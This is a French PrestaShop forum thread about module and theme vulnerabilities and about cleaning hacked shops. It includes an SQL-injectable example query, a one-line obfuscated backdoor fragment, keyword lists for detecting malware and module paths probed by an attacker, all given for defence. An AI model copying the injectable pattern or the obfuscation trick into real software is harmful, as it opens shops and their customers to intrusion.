Importantes failles de sécurité sur plusieurs modules et thèmes

[Antoine F]

Bonjour,

 

Durant les dernières semaines, il y a eu des problèmes de sécurité dans l’écosystème PrestaShop en raison d’importantes lacunes dans certains modules et thèmes populaires.
Les dernières versions de PrestaShop ne disposent pas des problèmes de sécurité connus.

 

Nous avons créé ce sujet pour centraliser les informations disponibles actuellement. N’hésitez pas à partager vos conseils, et surtout: FAITES LES MISES À JOUR ! Assurez-vous que vos modules et votre thème soient à jour ! Et si vous pouvez, mettez PrestaShop à la version la plus récente et la plus sûre: PrestaShop 1.6.1.6.

 

 

Le thème Warehouse

Warehouse est un thème très populaire, vendu sur le site ThemeForest (non disponible sur PrestaShop Addons). La dernière version (3.8.1, publiée le 19 Juillet) est sûre. Par contre, l’ancienne version possède des modules qui contiennent une faille de sécurité majeure.

 

Le patch de sécurité initial a été publié le 18 Juin, dans la version 3.7.7. Le problème initial était le module (lié à l’image des bannières) propre au thème.

 

D'autres modules inclus avec le thème Warehouse semblent être problématiques. En fait, la communauté a donné pas mal de feedback sur les modules suivants (inclus dans Warehouse) :

• Simpleslideshow

• Columnadverts

• Homepageadvertise

• Productpageadverts

 

L'auteur a rapidement publié des correctifs et a aussi posté un article complet afin de vérifier votre boutique en ligne (et la nettoyer) et enfin, a contacté les personnes qui ont acheté ce thème.

 

Lesley Paone, membre de la communauté (de Dh42), a publié son propre article, qui comprend un script correctif pour vous aider à nettoyer votre installation (et cet article pour ensuite vous protéger).

 

 

Modules problématiques

La communauté a également commenté les modules suivants :

 

• Advancedslider

• Attributewizardpro

• Columnadverts

• Homepageadvertise

• Homepageadvertise2

• Productpageadverts

• Videostab

• vtermslidesshow

 

Nous ne pouvons pas confirmer qu’ils sont tous liés à ces problèmes, vous devriez vérifier votre magasin et voir si vous utilisez la dernière version de chacun de ces modules.

 

 

Module Attribute Wizard Pro

Le module Attribute Wizard Pro, créé par la communauté, a été jugé infecté. Il a été fixé par l'auteur le 9 Juillet, et nous vous conseillons vivement de mettre à jour le vôtre pour sa dernière version, v1.7.14.

 

 

Module VTEM Slideshow

Le module VTEM Slideshow, créé par la communauté, possède également une faille de sécurité sérieuse. Nous n’avons actuellement aucun moyen de savoir si elle a été fixée ou non.

 

 

Module Relance de Paniers Abandonnés

Un module créé par l’équipe Addons a été jugé vulnérable, et a été fixé la semaine dernière. Il a été mis hors ligne par l'équipe Addons dès que nous avons appris la nouvelle, et est de retour en ligne après avoir été réparé.

 

De plus, les clients Addons qui ont acheté le module ont reçu une notification par e-mail au sujet de l'optimisation de la sécurité.

 

 

Module “Send to a Friend”

Sans être un problème de sécurité en soi, le module natif  Send to a Friend, qui est inclus dans chaque version de PrestaShop, avait un problème qui a permis à des personnes mal intentionnées de spammer des e-mails en utilisant le serveur Web de la boutique.

 

Le problème a été résolu grâce à un membre de la communauté, et une version sûre est disponible depuis Juin 2016. Le membre de la communauté en question a écrit à ce sujet cette semaine.

 

 

Configurateur de thème avancé / Css Magician

Le développeur de ces modules (Vinum) vous conseille de faire l'update de ces modules. N'hésitez pas à le contacter pour obtenir plus d'informations.
Les modules ont été retiré d'Addons dès la connaissance de la faille de sécurité (puis de nouveau ajouté avec l'update). Il a également envoyé un email à toutes les personnes possédant ces 2 modules.

 

 

Fieldthemes

Un de nos ambassadeurs nous a informé d'une faille sur ces thèmes. Pour obtenir plus d'informations, nous vous conseillons de lire cet article de blog.

 

 

 

Comment l’équipe PrestaShop Addons a t’elle réagi ?

L'équipe Addons prend la sécurité très au sérieux - nous avons même un membre de l'équipe qui se consacre exclusivement à la sécurité.

 

Tous les modules (même les mises à jour du module) soumis à Addons doit passer les tests PrestaShop Validator automatisés, et les développeurs Addons vérifient également les nouveaux modules pour vous assurer qu'ils fonctionnent en toute sécurité.

 

Même si, du mauvais code passe parfois nos filtres automatiques et humains : ce qui est arrivé avec le module “Relance de Paniers Abandonnés” ci-dessus. Heureusement, notre communauté est derrière nous et nous a mis en garde.

 

Nous avons un processus quand nous apprenons qu'un problème de sécurité touche un module ou un thème:

 

1. Mettez-le en mode hors connexion d’Addons.

2. Contactez le développeur à ce sujet.

3. Attendez que le développeur résolve le problème et sorte une nouvelle version sur Addons.

4. Mettez les addons de nouveau en ligne avec le souci réglé.

5. Contactez tous les clients d’Addons qui ont acheté l'addon en question, en les avertissant de mettre à jour le module.

 

Ceci est exactement le processus que nous avons suivi. Un bon nombre d’e-mail a été envoyé cette semaine pour conseiller les clients de mettre à jour le module de relance de paniers.

 

Pour éviter d'autres problèmes, nous avons mis en ligne des modules qui semblent éviter le même soucis, et nous avons renforcé notre processus de sécurité.
 

 

Ce que vous pouvez faire

Même s'il n'y a aucune mise à jour de sécurité récentes concernant votre thème ou module, nous vous conseillons de vérifier si vous êtes infecté ou non.

 

En version courte : si vous avez le thème Warehouse ou l'un des modules mentionnés ci-dessus, FAITES LA MAJ. Contactez leur auteur respectif si vous avez besoin : nous avons fait une liste de leur site ou de leur fiche de produit ci-dessus.

 

La partie délicate est que chaque site est différent, et les failles de sécurité sont essentiellement les mêmes, chacun des pirates a son propre ensemble de fichiers à télécharger. Par conséquent, le nettoyage d'une boutique infectée peut être fait automatiquement : la façon la plus sûre consiste à compter sur une sauvegarde récente de vos fichiers.

En outre, faire une liste des fichiers défectueux serait donner trop d'informations pour les pirates potentiels…

 

Nous avons entendu qu’un hack a remplacé le fichier /controllers/admin/adminLoginController avec son propre fichier, donc même si aucun nouveau fichier a été téléchargé, votre site sera plus sûr si vous utilisez une sauvegarde (ou si vous passez à la dernière version de PrestaShop).

 

Vous pouvez vérifier la date de la dernière modification de vos fichiers à l'aide d'un client FTP, comme Filezilla, mais cela vous prendra des heures...

Les seules manières sûres de revenir à un site sécurisé est de :

• restaurer une sauvegarde récente (pré-hack) de tous vos fichiers.
• repartir d'une base propre pour les fichiers : réinstaller les fichiers de l'archive PrestaShop.

En plus de nettoyer vos fichiers (ou en les remplaçant par une sauvegarde récente), ce que vous devez faire en cas d'infection confirmée est :

• Changez votre mot de passe de back-office, et que d'autres comptes admin. Consultez la page des employés pour vérifier qu'aucun nouvel employé a été créé.

• Changez votre mot de passe SQL.

• Changez votre mot de passe FTP.

• Changez vos identifiants et mots de passe pour vos modules bancaires /  de paiement, si vous en utilisez (PayPal, Atos, PayBox, etc.).

• Remplacez vos modules importants par leur toute dernière version téléchargée depuis Addons ou depuis le site du développeur originel.

• Changez vos identifiants pour tous vos services tiers.

 

Nous espérons que votre site est sain et sauf.

 

 

 

Edit : J'en profite pour inclure le commentaire d'Olecorre :

Si vous site a été hacké, mettre à jour les modules et corrigés les failles ne suffit pas, le ou les hackers, mettent des fichiers php un peu partout.

exemple trouvé un fichier dans :

/home/xxx/www-hack/js/jquery/plugins/validate/javascript.php    ou    /home/xxx/www-hack/img/p/5/2/3/4/ProductSale.php

 

Il peut y en avoir partout. Pour trouver ces fichiers, je rapatrie le site localement et je fais une recherche full text sur tout le site en recherche "base64" et "64_decode" et on peut facilement les trouver, les fichiers .php sont encodés, ouvres en un et vous verrez une code incompréhensible.

Ces fichiers seront à supprimer.

Edited June 26, 2017 by Antoine F
Ajout de modules/themes (see edit history)

[doekia]

1/ J'ajoute vérifiez les web-service - si quelqu'un pénètre le système il peut s'être ménagé un accès - dans le doute on désactive et on change la clé

 

2/ Il manque à cette liste paypal, où ici la faille ne concerne pas le système mais directement l'argent du marchand. Et quand je parle de faille celle-ci est majeure. Toute information sécurisant les échanges avec l'API paypal peuvent être aux mains d'un indélicat - au moindre doute, changez vos informations API (panel de paypal, chez paypal). Si vous n'obtenez pas une erreur de type 403 (forbidden) mais une redirection vers l’accueil en testant http://votre-domaine/modules/paypal/api/index.php votre version présente un risque, ajoutez immédiatement le .htaccess suivant dans le répertoire modules/paypal/api/ et changez ensuite vos clés API

order allow,deny
deny from all

Attention ceci ne fonctionne qu'avec un webserver Apache. nginx et autre, adaptez

Dans tous les cas, testez après ajout.

[Eolia]

Attention, ces hacks modifient également le module Paypal et le fichier checkout/payment.php et crée des interfaces de paiement bidon pour les autres modules.

 

Regardez-donc les dates de modification des fichiers^^

[ritopina]

Je pense que prestashop doit intégrer d'urgence un module de sécurité pour ce prémunir des: Injections SQL, Injections XSS, Injections de commandes Shell, Injections de code, Injections CGI Injections, etc...., vérificateur de CHMOD, .... etc

 

Bref de fournir une barrière pour gêner/stoper les hackeurs et ainsi prouver que prestashop peut limiter les attaques sur des modules fait par des bras cassés développeur fatiguer.

 

Ou si un module de sécurité et trop pour la société prestashop donner nous au moins toute une procédure (un TUTO digne de ce nom) dans un bon dossier sur votre site pour protéger nos gagne pain via un bon fichier htacess, ...etc. vous avez les moyens de le faire (on n'est pas tous programmeur, et on a aussi nos propre soucie de gérance, ...)

 

 MERCI

[Eolia]

Je pense que prestashop doit intégrer d'urgence un module de sécurité pour ce prémunir des: Injections SQL, Injections XSS, Injections de commandes Shell, Injections de code, Injections CGI Injections, etc...., vérificateur de CHMOD, .... etc

 

Bref de fournir une barrière pour gêner/stoper les hackeurs et ainsi prouver que prestashop peut limiter les attaques sur des modules fait par des bras cassés développeur fatiguer.

 

Ou si un module de sécurité et trop pour la société prestashop donner nous au moins toute une procédure (un TUTO digne de ce nom) dans un bon dossier sur votre site pour protéger nos gagne pain via un bon fichier htacess, ...etc. vous avez les moyens de le faire (on n'est pas tous programmeur, et on a aussi nos propre soucie de gérance, ...)

 

 MERCI

Vous avez beaucoup à apprendre sur la sécurité informatique vous^^

 

si c'était si simple, aucun cms ne se ferait hacker.

d'ailleurs sur ce coup là, ce n'est pas le cms qui est en cause, mais les modules tiers

[ritopina]

J'ai vue qu'il existait aesecure vous on pensez quoi la team Prestashop ?

 

existe t il quelque chose de mieux en module prestashop ?

 

Si oui le quel ?

Si non pouvez vous nous concocter un tuto pour mettre en place ce type de protection

 

Ps: j'avais utiliser à l'Époque crawl protect ... (punaise le nombre d'attaque et injection dans les logs qu'il a stopper) mais bon il est un peu lourd à gérer surtout avec l'ajout de produit et photo dans prestashop ( Le chmod est radical)

 

Ou pourquoi pas le remettre crawl protect si la team peu faire un bon TuTo

 

Bref aidez nous la team .......

[ritopina]

Eolia je te confirme, je suis un bleu mais bon comme on dit à chacun son job 

 

D'ou la demande d'un tuto de sécurité par une âme charitable

[Antoine F]

Bonsoir ritopina,

 

Malheureusement, mes connaissances techniques sont assez limitées. J'en fais part à l'équipe dès Lundi matin mais comme l'a souligné Eolia, le soucis vient ici de modules tiers.

[Eolia]

Ce que n'a surtout pas compris ritopina, c'est qu'il ne s'agit pas de code "malicieux" dans ce cas.

le process utilisé n'a fait que détourner un code mal protégé dans son écriture même

 

vous pourrez mettre tous les blindages possibles, et fermer la porte à double tour, ca ne sert à rien si la clé est sous le paillasson^^

[ritopina]

Bien bien bien au moins c clair

 

bref j'ai pris le module prestavault vous m'avez convaincue ...

J'ai fait un petit test en ajoutant quelque caractère dans mon header.tpl le module à trouver direct la différence d'octet entre le fichier d'origine et celui modifier... pas mal

 

Connaissez vous sinon un module de sécurité du type crawlprotect ou aesecure pour prestashop ?

 

Ps: un TUTO pour un bon htacess/sécurité/etc... et important surtout si c la team qui le fait

Edited July 23, 2016 by ritopina (see edit history)

[ritopina]

Ok parler entre vous c cool

 

@+

 

Ps: un tuto pour un .htacess et autre de sécurité .... par la team ou  est le problème .... Puffff

 

La blague c quoi ce délire on parle bien de problème de sécurité, maintenant ceux qui l'ouvre pour ne pas donner de conseil mais des leçons, je vous enmer.....

les autres jugeront...

 

@+

Edited July 23, 2016 by ritopina (see edit history)

[ritopina]

 

Ce que vous pouvez faire

Même s'il n'y a aucune mise à jour de sécurité récentes concernant votre thème ou module, nous vous conseillons de vérifier si vous êtes infecté ou non.

 

En version courte : si vous avez le thème Warehouse ou l'un des modules mentionnés ci-dessus, FAITES LA MAJ. Contactez leur auteur respectif si vous avez besoin : nous avons fait une liste de leur site ou de leur fiche de produit ci-dessus.

 

La partie délicate est que chaque site est différent, et les failles de sécurité sont essentiellement les mêmes, chacun des pirates a son propre ensemble de fichiers à télécharger. Par conséquent, le nettoyage d'une boutique infectée peut être fait automatiquement : la façon la plus sûre consiste à compter sur une sauvegarde récente de vos fichiers.

En outre, faire une liste des fichiers défectueux seraient donner trop d'informations pour les pirates potentiels…

 

Nous avons entendu qu’un hack a remplacé le fichier /controllers/admin/adminLoginController avec son propre fichier, donc même si aucun nouveau fichier a été téléchargé, votre site sera plus sûr si vous utilisez une sauvegarde (ou si vous passez à la dernière version de PrestaShop). Vérifiez la date de la dernière modification de vos fichiers à l'aide d'un client FTP, comme Filezilla!

 

En plus de nettoyer vos fichiers (ou en les remplaçant par une sauvegarde récente), ce que vous devez faire en cas d'infection confirmée est :

 

• Changez votre mot de passe de back-office, et que d'autres comptes admin. Consultez la page des employés pour vérifier qu'aucun nouvel employé a été créé.

• Changez votre mot de passe SQL.

• Changez votre mot de passe FTP.

 

Nous espérons que votre site est sain et sauf.

 

Merci pour ce bon vrai conseil 

[coeos.pro]

ça sert à rien de s'énerver ritopina, toutes ces failles de sécurité ne concernent que des modules, un tuto ne sert à rien, un htaccess non plus.

 

 

 

Un exemple, et ceci n'est qu'un exemple, pour la page ma_boutique.com/index.php?id_product=123&controller=product

 

si dans le code il y a une simple requête SQL pour récupérer les infos sur ce produit :

 

$sql = 'SELECT * FROM `'._DB_PREFIX_.'product` WHERE `id_product` = '.Tools::getValue('id_product');

 

cette requête est une grosse faille de sécurité car id_product est récupéré dans l'url (grâce à Tools::getValue) et mis dans la requête et sans être vérifié/protégé.

 

 

 

Utiliser l'AJAX sans token peut être aussi problématique.

 

 

 

Le seul moyen d'être en sécurité (vis à vis des modules) est de prendre tous les modules présents sur ta boutique, d'ouvrir tous les fichiers de ces modules et de regarder le code ligne par ligne de tous ces fichiers...

[ritopina]

 

 

ça sert à rien de s'énerver ritopina, toutes ces failles de sécurité ne concernent que des modules, un tuto ne sert à rien, un htaccess non plus.

Ok 

 

 

 

Le seul moyen d'être en sécurité (vis à vis des modules) est de prendre tous les modules présents sur ta boutique, d'ouvrir tous les fichiers de ces modules et de regarder le code ligne par ligne de tous ces fichiers...

C pour ca que j'ai parler du module prestavault (que j'ai acheter de suite) c une bonne solution pour avoir un email en cas de modification de fichier. J'ai fais des test et ca fonctionne bien.... d'ou mes questions, si on peu ce protéger on amont ou même gêner les hackeurs des le début (.htacces avec un bon tuto même si rien avoir avec les modules avec faille de securité) c déjà ca de gagner. c comme une maison si y'a une sirène à l'extérieur le voleur vas aller voir ailleurs, le voisin...

 

Et j'ai bien compris que cela venait des modules et non du cœur de prestashop, mais voila moi je donne une petite solution a mon niveau via un module que je viens de tester donc ci d'autre on des modules ou quelque chose pour ajouter de la sécurité je suis preneur

 

merci

[ritopina]

Alors si on mais un .htacess dans l'admin de prestashop avec son ou ses IP en Allow from et mot de passe ca protégera de ce type de problème en cas d'injection (même si l'injection a réussie on reste protéger) ?

 

 

 

Je pense que ce sujet est suffisamment sérieux pour qu'il ne faille pas naviguer 70 pages afin de savoir de quoi il en retourne. Et surtout que les réponses présentes adressent réellement le problème.

Je m'amuse peut être ?

 

Je pose des questions point barre est le topic n'a qu'a faire 200 pages même tien pourquoi pas !

 

Si un htacces avec IP dans l'admin + module sur variation d'octer de fichier + un code dans le htacess de je ne sais quoi + un autre module ou fichier php dans un dossier ou a la racine du site .... peu nous aidez et bien c tous ce que je demande.

 

c de la folie ma parole on demande a comprendre ou a avoir un TUTO avec prévention et on me sort du " laisse faire et parler les pros " "tu pourris notre topic petit" ...

 

Bref merci a ceux qui pourront donnez une aide pour renforce nos site

Edited July 23, 2016 by ritopina (see edit history)

[Eolia]

Rien à voir, surtout que dans ce cas précis l'attaque se fait par le front^^

A partir du moment ou un module laisse charger n'importe quoi par n'importe qui vos pseudo-protections ne serviront à rien, tout cela se fera de manière tout à fait légitime.

 

Ensuite, comme le dit doekia, il suffit de 2 secondes pour avoir accès à la base de données, se créer un accès superadmin, ou modifier quoique ce soit.

Même votre super module peut-être effacé^^

[ritopina]

Alors vous voyez on forçant un peut on apprend pas mal de chose : 

1a- Faille module = hack du site = pas de solution externe

1b- Solution sur faille d'un module = Attendre la ou faire la mise a jour

 

- Htacess dans admin prestashop = protection faible contre attaque via module mal programmer

 

- Module pour vérifier les fichiers = pas fiable (apparemment c ceux que vous pensez ?) 

 

- Protection en amont via fichier htacess dans la racine du site = ne protège pas d'un hack via un module mal programmer (quel solution de prévention ? ou aucune)

 

- Solution a tous ca = rien, attendre la mise a jour des modules qui ont une faille

 

- prévention en amont apparemment d'après vous aucune rien ne peut être utiliser pour ce protéger donc si je résume bien comme on dit "c toi et ta chance"?

[Eolia]

Bien sur que si il y a des solutions

- Analyser le code de chaque module qu'on installe

- Controler régulièrement ses logs d'accès et d'erreurs

- Controler régulièrement le bon fonctionnement de sa boutique en front

[ritopina]

Et bien tu vois Eolia ce que tu dis tombe sous le sens et pour toi c normale, sauf que je n'y ai jamais penser alors imagine que c on discutons que j'apprend quelque petit point banal qui vont me permettre de vérifier c choses régulièrement (sauf pour le code de chaque module ). 

 

C pour cela que je demande si un tuto par la team peut être envisager pour ce prémunir ou limiter la casse rien de plus 

Edited July 23, 2016 by ritopina (see edit history)

[Olecorre]

Bonjour,

 

Pour avoir subit une attaque sur un site ce week-end voici ce que j'ai trouvé dans les fichiers de logs, la liste des modules testés par le hacker

 

/home/###/www/modules/columnadverts

/home/###/www/modules/soopamobile
/home/###/www/modules/soopabanners
/home/###/www/modules/vtermslidesshow
/home/###/www/modules/simpleslideshow
/home/###/www/modules/productpageadverts
/home/###/www/modules/homepageadvertise
/home/###/www/modules/advancedslider
/home/###/www/modules/cartabandonmentpro
/home/###/www/modules/videostab
/home/###/www/modules/wg24themeadministration
/home/###/www/modules/fieldvmegamenu
/home/###/www/modules/wdoptionpanel
/home/###/www/modules/idx_config

/home/###/www/modules/attributwizardpro

 

Cdt

[Olecorre]

Attention

 

Si vous site a été hacké, mettre à jour les modules et corrigés les failles ne suffit pas, le ou les hackers, mettent des fichiers php un peu partout.

exemple trouvé un fichier dans :

/home/xxx/www-hack/js/jquery/plugins/validate/javascript.php

 

ou

/home/xxx/www-hack/img/p/5/2/3/4/ProductSale.php

 

Il peut y en avoir partout.

 

Pour trouver ces fichiers, je rapatrie le site localement et je fais une recherche full text sur tout le site en recherche "base64", "64_decode","$GLOBALS" et on peut facilement les trouver, les fichiers .php sont encodés, ouvres en un et vous verrez une code incompréhensible.

 

 

ses fichiers seront à supprimer.

 

Edited July 29, 2016 by Olecorre (see edit history)

[ritopina]

Merci pour l'info

Question : changer les droits en écriture (644 et 755) par 404 (ou 444) et 505 (ou 555) peut éviter ce genre de problème ou le limiter ?

[Olecorre]

Pas forcément efficace, car pour fonctionné l'utilisateur apache qui exécute PHP doit avoir des droits en écritures, hors l'utilisateur ftp et apache sont différentes.

Les hacker passe pas des failles qui permettent d'écrire des fichiers en passant par PHP.

[doekia]

Pas forcément efficace, car pour fonctionné l'utilisateur apache qui exécute PHP doit avoir des droits en écritures, hors l'utilisateur ftp et apache sont différentes.

Les hacker passe pas des failles qui permettent d'écrire des fichiers en passant par PHP.

Si les utilisateurs ftp et web sont différents, c'est presque toujours le reflet d'une mauvaise config serveur. (suexec, suphp, ... selon)

Les permissions doivent être 755 répertoires et 644 fichiers (exception pour certains cgi-bin en 755).

Après il faut bien comprendre que ce que peut faire le web serveur il peut le défaire

Et d'ailleurs prestashop n'a de cesse d'aller bricoler les permissions dans plein de bout de code et ce au mépris de la politique de l'administrateur (des 777 à l'arrache)

Noter que chez OVH et quelques autres hébergeur la permission de groupe devrait ou doit être 0

Ces réglages de permission sont du "fencing" (cloisonement). ça évite que le site machin qui réside sur le même serveur, suite à une pénétration de ce dernier, puisse écrire dans le site bidule, mais bien sûr ça ne bloque en rien l'attaque sur machin d'être effective

[seb776]

Attention

 

Si vous site a été hacké, mettre à jour les modules et corrigés les failles ne suffit pas, le ou les hackers, mettent des fichiers php un peu partout.

exemple trouvé un fichier dans :

/home/xxx/www-hack/js/jquery/plugins/validate/javascript.php

 

ou

/home/xxx/www-hack/img/p/5/2/3/4/ProductSale.php

 

Il peut y en avoir partout.

 

Pour trouver ces fichiers, je rapatrie le site localement et je fais une recherche full text sur tout le site en recherche "base64" et "64_decode" et on peut facilement les trouver, les fichiers .php sont encodés, ouvres en un et vous verrez une code incompréhensible.

 

 

ses fichiers seront à supprimer.

 

 

 

Merci pour ces informations.

 

Autrement dit tu fais une recherche des termes "base64" et "64_decode" sur tout les fichiers du site.

 

Il y aurait d'autre chaines indicatrice d'un hack a trouver ?

[Olecorre]

Les fichiers seront en .php et si on l'ouvre le code est illisible car encodé. Le dernier que j'ai vue, base64_decode qui est une fonction PHP était découpé en deux variables.

 

Tous le code de hacker que j'ai pu voir était encodé. Après regarder aussi la date de quand le fichier a été ajouté.

 

Après il y a quelques modules ou l'éditeur encode aussi le code mais sont assez rare.

[seb776]

ok merci

[doekia]

Tu cherches aussi:

hack

fuck

noob

error_reporting

gz_inflate

eval

et avec des années de connaissance de Prestashop plein d'autres truc t'interpellent

Et tu passes des heures à relire et encore relire des trucs à te poser la question de "est-ce légitime ou pas"

[Olecorre]

$krcvuhlo="base" . "64_decode";return $krcvuhlo($havzczv);}

Voici un extrait du code d'un fichier du hacker, c'est poru ca que je fait une recherche sur "64_decode"

[seb776]

En parallèle, il faudrait peut-être bien confier cette tache à clamav.

 

Je ne sais trop ce que ça vaut, mais Phpnet.org a clamscan installé sur ses herbergements mutualisés.
L'an dernier ça a detecté automatiquement un fichier malveillant (c'était en fait un fichier php renomé en jpg envoyé par le formulaire de contact, mais il n'avait pas pu être executé du coup).

Je viens de faire un test avec ce fichier dans un contenaire docker (alpine linux avec clamav) et ça detecte effectivement le fichier, j'ai légèrement modifié le fichier, il est toujours detecté. Je ne sais pas sur quelle base il est detecté.

 

Edited July 27, 2016 by seb776 (see edit history)

[doekia]

En fait le gros problème c'est que l'on ne peut pas faire du trail and fail en matière de sécurité.

Toutes les solutions mentionnées ici et là sont au mieux très imparfaite voire inutile.

Un php qui lit la base de données ou envoi un mail c'est juste ce que l'on attend d'un hébergement web.

 

Vous confondez les kikoulol qui mettent 3 images hakedby  certe pénible mais relativement "inoffensifs" avec les backdoors, vol de base de données, spam relay, phishing page, etc Eux ont tendance à rester discret voire invisible.

 

Il est bien évident que si quoique ce soit existait d'efficace tous les hébergeur l'auraient déjà déployé.

clamav ne détectera pas 80% des pestes et peut même dans certains cas faire de faux positif.

Dans le contexte qui nous occupe, ce sont les codes/modules qui sont mal sécurisés qui servent de porte. Virer les pestes sans fermer la porte c'est aussi inutile que du mercurochrome sur une jambe de bois

Edited July 27, 2016 by doekia (see edit history)

[seb776]

Merci @doekia pour cette mise au point.

 

J'aime bien les choses claire, je vais donc tenter de résumer.

 

Nous avons donc deux problématiques :

- trouver et combler les failles de sécurités présentes.

- trouver et supprimer les malveillances introduites par ces failles. (*)

 

Axes de résolutions :

- appliquer toutes les mises a jour de sécurité

- faire une comparaison de fichiers entre une version saine (**) et la version en ligne

(- comparer la base de données actuelle avec une sauvegarde récente si un soucis a été trouvé avant.)

 

Finalement la recherche de chaine suceptibles de reveler des fichiers malveilants c'est une façon rapide de chercher les mailveillances, en attendant de vérifier profondément,  pas une technique fiable.

 

* : (Restons simple, ne mentionnons pas que les malveillances introduites peuvent introduire de nouvelles failles. ça ne fait que rendre les choses plus confuses sans apporter d'information réélle)

** : saine avec certitude, avant le moindre déploiement.

 

Est-ce que j'ai bien résumé la marche a suivre ?

[doekia]

c'est a peu prés ça.

 

1/ à la date d'aujourd'hui les failles accessibles et connus des kikous-lol proviennent:

- des modules du thème warehouse. patch disponible.

- du module cartabandonmentpro principalement l'avant dernière version mais pas que - patch partiel en 1.7.6 - mais là pour l'instant je conseille vraiment de supprimer le module jusqu'a un sortie vraiment sécurisé

- des quelques autres modules cités en intro

Les kikous sont tellement fier de leur script (souvent glané sur le net) qu'il ne peuvent s'empêcher de se vanter et s'affichent au grand jour.

On supprime TOUS les fichiers natifs et on les remplace par ceux de l'archive officielle

On procède de même pour les modules natifs

Ensuite on scanne les chaînes mentionnés et commence le travail de fourmi à relire +/- tout le reste.

On épluche ligne par ligne les logs d'accès et d'erreur.

 

2/ plus subtil et donc plus difficile à trouver sont les "server abuse". Usage du host a d'autres fins

Ceux qui ont profité des même failles que les kikous, ont copié modules, themes, base de données et tout autre fichier présent puis se sont évaporé - la très peu de trace à part les logs - et là, c'est trop tard.

Tels autres ont déposés des fichiers (souvent peu cryptés d'ailleurs pour ne pas attirer l'attention) ou encore des outils GPL standard sur github. La c'est les logs les meilleurs alliés mais l'expérience de celui qui les lit va faire toute la différence entre les trouver, passer à coté ou s'embourber dans un questionnement sans fin. Accès répétitifs +/- constant à une même url, série de referer inattendu, ... sont des indices

Et la faille n'est pas forcément publié donc difficile à trouver, remonter les logs dans le temps, ... dernièrement j'ai sauvé un shop du forum qui était sans le savoir infecté depuis le 9 juin et hostait une page phising d'une banque américaine. Seulement lorsque OVH à reçu les plaintes et null routé le serveur le proprio a eu vent du truc.

Si vous êtes empêtré dans un botnet attention bannir les ip ne mène à rien - c'est souvent des gens ordinaire infecté par un trojan, ça peux venir de partout et ça devient vite impossible à gérer par le filtre. On peut bloquer des networks entier en /8 mais ça ne peut qu'être une solution d'urgence à court terme.

 

3/ Les trucs à ne pas faire:

- Croire que vous saurez dépanner seul si vous n'avez pas d'expérience

- Effacer et remettre un backup - ça ne résoud rien et rend les trucs plus difficile à tracer

- Ramener tous le site sur votre pc (même si vous êtes sûr de votre anti-virus) vous risquez d'infecter d'autre outils (filezilla, bho, keylogger, ...)

- Bidouiller - vous allez changer les dates ce qui brouille les pistes suivable (bien que les bon hacker sachent cacher celles-ci)

- Corriger partiellement, se connecter et installer 1001 truc - votre host est déjà surement en train de souffrir, pas la peine d'en rajouter

les failles

 

4/ Les trucs impératif a faire:

Changer vos mots de passe admin, et l'url du BO, le sql c'est la plupart du temps inutile

Tout contenu suspect -> .htaccess (Order Allow, Deny + Deny from All) on observe qui se fracasse et pourquoi/comment

Scruter manuellement tous les mails

 

Cette liste est hélas loin d'être exhaustive, c'est un bataille homme contre l'homme, intelligence contre intelligence, il faut s'adapter se remettre en cause se documenter, et analyser (donc savoir en profondeur écrire du code)

[ritopina]

Merci Doekia pour tout c'est explications.

 

Question :

 

3/ Les trucs à ne pas faire:

- Croire que vous saurez dépanner seul si vous n'avez pas d'expérience

- Effacer et remettre un backup - ça ne résoud rien et rend les trucs plus difficile à tracer

 

Pour le point 3 Bacup :

Si on efface complétement sont FTP et quand remet un backup propre (aucun fichier hack, ...) avec la mise à jour du ou des modules ayant des failles, on est ainsi  bien tranquille ?

 

Ou

 

le point 3 concerne les personnes infecter qui remette un backup et au final se refont hacker car elle n'on pas chercher à trouver d'ou venais la faille ?

[doekia]

Merci Doekia pour tout c'est explications.

 

Question :

 

Pour le point 3 Bacup :

Si on efface complétement sont FTP et quand remet un backup propre (aucun fichier hack, ...) avec la mise à jour du ou des modules ayant des failles, on est ainsi  bien tranquille ?

 

Ou

 

le point 3 concerne les personnes infecter qui remette un backup et au final se refont hacker car elle n'on pas chercher à trouver d'ou venais la faille ?

 

Un peu les 2 car:

- quand tu as fait ton backup "propre", comment es-tu sûr que tu n'étais pas déjà infecté - les failles étaient là et il est possible que des usage "server abuse" y soit déjà. Et une restoration c'est 1001 autres problème pour un shop (commande en cours,  inscrits, stocks, ...)

- oui le second cas est le pire, on ne sait plus quoi est quoi, tout à la même date, ça double voire triple le temps de résolution.

 

Ce que je veux surtout faire toucher du doigt c'est qu'a partir du moment où tu as été hacké il faut y consacrer du temps et de l'énergie pour résoudre et ne pas croire qu'il existe de raccourcis - d'autant que ayant été une cible surf un tableau de chasse, ça va inciter le hacker ou un autre groupe à tenter de réitérer

[ritopina]

Ok c'est beaucoup plus clair pour moi

 

Merci bien

[siriek]

Bonjour à tous, je suis de très près ce post. Ce matin sur mes 2 boutiques (qui sont encore en 1.6.0.9), j'ai environs 38 modules à mettre à jour. Je suis surpris, pensez-vous que je peux les mettre à jour sans problème?

 

Merci

[doekia]

Par défaut je ne mets jamais à jour sauf raisons justifiées

Là il semble que la team fasse des mises à jours - mais comme d'habitude, à part pour me vendre des trucs - en communication ils sont zero

Je ne fais pas de mise à jour sans avoir testé car d'ordinaire c'est mode yolo coté ps

 

Pour ce que j'ai vu sur mon lab, c'est l'ajout de ficier index dans pleins d'endroits où ça manquait nativement

Des années de copyright changés et quelques numéro de version également.

 

Normalement tous le monde devrait avoir des index.php et configuré son serveur avec Options -Indexes

J'ai un script pour ajouter les index manquants ici http://area51.enter-solutions.com/snippets/21

Oui ne pas avoir d'index.php est un éléments aggravant le risque de sécurité. Cela divulgue la liste des fichiers d'un répertoire, mais aussi la date d'installation de tel ou tel modules ce qui réduit l'espace microtime,uniqid et rand pour les attaques brutes forces.

[siriek]

Bonjour doekia, juste parce que je suis une brelle, ton script se met en place comment? Je copie le script dans un fichier php que je nome "safe-index.php", je le colle soit à la racine ou dans le rep principal? Puis je l'execute du genre "http://monsite/peut etre un rep/safe-index.php

 

C'est çà?

 

Merci pour tous

[ritopina]

Normalement avec ce type de script c dans la racine du site (www.monsite/safe-index.php)

 

Je lancerais le script dés que mon site sera fini, avant sa mise en ligne

 

Merci Doekia

 

Ps: serait-il judicieux de laisser un dossier à la racine sans index.php comme dossier leurre pour vérifier si un fichier et mis de dans via un hack ?

 

En gros on bloque tout les dossiers via l'index.php et seul ce dossier (créer spécialement pour) à la racine est accessible et donc vas attirer le hackeur pour déposer un fichier xxx.php de dans et la de suite on sait quand a un problème / faille avec un module ou le cœur de PS

 

Ou c une mauvaise idée ?

 

Merci

